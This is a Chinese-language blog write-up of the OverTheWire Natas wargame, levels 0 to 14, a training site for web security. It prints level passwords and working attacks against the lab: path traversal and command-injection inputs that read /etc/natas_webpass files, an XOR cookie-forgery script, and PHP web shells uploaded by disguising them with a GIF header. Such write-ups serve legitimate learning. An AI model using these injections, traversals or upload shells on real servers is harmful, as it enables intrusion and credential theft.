Wargame-Natas练习记录(0~14)

*爱你&永不变心* 提交于 2020-02-22 15:23:02

Wargames是OverTheWire社区提供的一个帮助学习安全知识和实践的一个平台,提供了各式各样的项目模块,可以在其中练级基本的安全技能。
Natas是其中一个最基础的模块,主要用来学习Web安全服务器端的基本安全策略,包含了文件上传、命令行注入、SQL注入等常见的基本安全漏洞,适合Web安全入门学习。
这里主要用来记录个人的练习过程的思路,作为学习的参考。

Wargame:https://overthewire.org/wargames/
Natas:https://overthewire.org/wargames/natas/

Level 0->1:

提示密码就在本页,那就看一下源码呗。

很容易找到注释

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Level 1->2:

提示密码就在本页,但是右键不能使用。好办,F12比右键好用多了。
Natas2
还是注释里:

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Level 2->3:

这次说页面上没有东西,那就是在其他地方了,查看返回文件时发现多了一个/files/piexl.png;直接访问只有一个像素点,图像没有任何信息,返回上一层看看。
Natas3
Natas3

Level 3->4:

还是说页面没有任何东西,查看源码多了一个注释说Google也找不到。Google浏览器实质上是一个爬虫,如果在robots.txt添加条件的话就可以限制Google访问,所以尝试访问robots.txt。
Natas4
Natas4Natas4

Level 4->5:

显示访问被拒绝,访问必须来自"http://natas5.natas.labs.overthewire.org/",既然说来源了,那就先尝试修改Referer头试试:
Nata4

Level 5->6:

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
提示没有登陆,已经到这了肯定不会是没有登录,查看一下cookie。
Natas5
这里有个loggedin选项,应该是用来标注是否登陆的,将它改为1试试。
Natas5

Level 6->7:

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
这次是输入,先看看源码:
Natas6
如果输入和secretsecret相同就通过,那就要找到这个secret,脚本还包含了一个文件,访问一下试试。
Natas6
Natas6

Level 7->8:

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
开始变得像个网页了,源码又说密码在哪里。

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Home和About页面都只有一句话,大概是想办法直接访问,URL显示了格式,试试直接访问密码。

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Natas7

Level 8->9:

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
又是Input secret,还是先看看源码吧:
Natas8
将输入与加密后的secret对比,所以我们直接将encodesecret解密就行了:

<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))
?>
# oubWYf2kBq

Natas8

Level 9->10:

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
先看看源码吧:
Natas9
passthru会执行外部命令,那么尝试命令注入:

;cat /etc/natas_webpass/natas10

Natas9
(一开始尝试查看了dictionary.txt,真就只是个字典)

Level 10->11:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
出于安全原因过滤了一些字符,看来应该还是命令注入,看看源码:
Natas10
过滤了“ ; | & ”,所以不能像上题一样直接执行命令了,但是这里还是执行grep命令,而grep命令也是可以输出的,能不能直接用它来输出密码:
[a-z] /etc/natas_webpass/natas11
Natas10

Level 11->12:

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
题目提示Cookie使用了异或加密,要输入的时颜色。还是先看一下源码:

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

在最后可以看到,如果 $data[“showpassword”] == "yes"的话,就可以得到密码,所以我们要想办法使这个条件成立。查看上面的函数可以知道这个 $data是cookie中的一个参数,这个参数的值是一个数组经过base64、json加密和一个自定义的函数加密形成的base64字符串,那么我们需要伪造一个cookie,这个cookie的data值需要是 $ data[“showpassword”] == “yes” 的一个数组按照其加密形成的base64编码。
这和之前的一道题很类似,但是有一个自定义的加密函数xor_encrypt(),我们需要伪造这个函数的话必须先得到这个函数中的$key,由于其是异或加密,我们可以通过对初始值和加密后的值进行异或运算来获取这个key。

<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$text = json_encode($defaultdata);
$outtext = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
$key = '';

for($i=0;$i<strlen($outtext);$i++)
    $key.= $text[$i]^$outtext[$i];
echo $key;
>?
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

接下来就可以模拟运算得到我们想要的cookie了。

<?
function xor_encrypt($in) {
    $key = "qw8J";
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
$payload = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($payload)));
?>
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Natas11

Natas12->13

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
上传一个JPEG图片,考的应该是文件上传漏洞:
Natas12
看一下网页源码,看看有没有JS验证。虽然没有JS验证,但是这里直接设置了文件名,那么很显然我们上传的文件可定会被改名。所以上传之后还是要改名,不过它既然没有JS验证,那可以尝试直接在这里改,毕竟抓包也是需要设置的:

<?
    system('cat /etc/natas_webpass/natas13');
?>

再上传文件,OK是PHP,还给了地址,访问一下:
Natas12
Natas12

Natas13->14

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
仍然是文件上传,提示出于安全原因,只接收图片文件,这次直接修改就不行了。尝试抓包修改还是不成功之后,还是看看源码吧:

    else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";

这里使用exif_imagetype来检测是否是图片,exif_imagetype() 读取一个图像的第一个字节并检查其签名。所以我们需要修改文件将最开始的字节替换为图片的字节码:

GIF98

<?
system('cat /etc/natas_webpass/natas13');
?>

Natas14
接下来和之前一样就行。
Natas13

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!